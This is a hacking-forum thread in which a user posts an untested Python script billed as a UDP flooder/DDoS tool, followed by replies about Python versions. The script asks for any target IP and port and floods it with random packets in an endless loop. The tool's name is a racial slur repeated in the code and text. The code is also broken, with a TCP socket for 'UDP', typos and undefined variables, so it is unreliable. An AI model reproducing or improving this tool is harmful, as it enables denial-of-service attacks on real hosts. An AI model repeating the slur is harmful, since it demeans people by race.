chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


UDP flooder. (untested) filter_list
Author
Message
UDP flooder. (untested) #1
Imports: Socket, random, time
Definitions: N/A

Code:
import socket, random, time

Imports, check.

Time to have the startup messages and shit. NOTE: It is called Nigga Cannon because that is what I named it. If you have a problem with it, write it on a piece of paper, folder it up and stick it up your ass. (Unless you're Oni.)

Code:
socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("[NiggaCannon]Modules loaded, preparing UDP flooder."),time.sleep(2)
print("[NiggaCannon]UDPF loaded.")

Targeting shit.

Code:
hostip = input("[NiggaCannon]Target: ")
port = input("[NiggaCannon]Port: ")
packets = input("[NiggaCannon]Number of packets to send: ")

And lastly, connecting and sending.

Code:
while True:
    scoket.sendto(packs,(hostip,port))
    print("[NiggaCannon]%s packets sent to %s:%s." % (sentpax,hostip,port))
    sentpax = sentpax + 1
print("[NiggaCannon]DDoS complete. Exiting the NiggaCannon in 5 seconds."),time.sleep(5),exit()

INTRODUCING, THE NIGGACANNON UDP FLOODER/DDOSER!

Code:
import socket, random, time

socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("[NiggaCannon]Modules loaded, preparing UDP flooder."),time.sleep(2)
print("[NiggaCannon]UDPF loaded.")
hostip = input("[NiggaCannon]Target: ")
port = input("[NiggaCannon]Port: ")
packets = input("[NiggaCannon]Number of packets to send: ")
packs = random._urandom(packets)
address = (hostip,port)
socket.connect(address)
socket.settimeout(0.0)
while True:
    scoket.sendto(packs,(hostip,port))
    print("[NiggaCannon]%s packets sent to %s:%s." % (packs,hostip,port))
    sent = sent + 1
print("[NiggaCannon]DDoS complete. Exiting the NiggaCannon in 5 seconds."),time.sleep(5),exit()

Hope you like it.

Reply

RE: UDP flooder. (untested) #2
You forgot the part after "Unless you're Oni". It should say "Unless you're Oni, in which case write it on a cannonball."

Re-write in 2.7 as Python 3 is bad and comment your code so that people understand wtf is going on.
#MakeSinisterlySexyAgain

Reply

RE: UDP flooder. (untested) #3
(01-28-2014, 03:39 AM)Adorapuff Wrote: You forgot the part after "Unless you're Oni". It should say "Unless you're Oni, in which case write it on a cannonball."

Re-write in 2.7 as Python 3 is bad and comment your code so that people understand wtf is going on.

I use py33 because my Chatango bot wouldn't operate under any version aside from 3 and higher.

Reply

RE: UDP flooder. (untested) #4
(01-28-2014, 03:45 AM)Duubz Wrote: I use py33 because my Chatango bot wouldn't operate under any version aside from 3 and higher.

Then create a new one. There are a million 2.7 scripts lol.
#MakeSinisterlySexyAgain

Reply

RE: UDP flooder. (untested) #5
(01-28-2014, 03:45 AM)Adorapuff Wrote: Then create a new one. There are a million 2.7 scripts lol.

Problem is the CH library is what wouldn't work. I'm not worried about the bot moreover just the library or it wouldn't be able to connect or function.

Reply






Users browsing this thread: 1 Guest(s)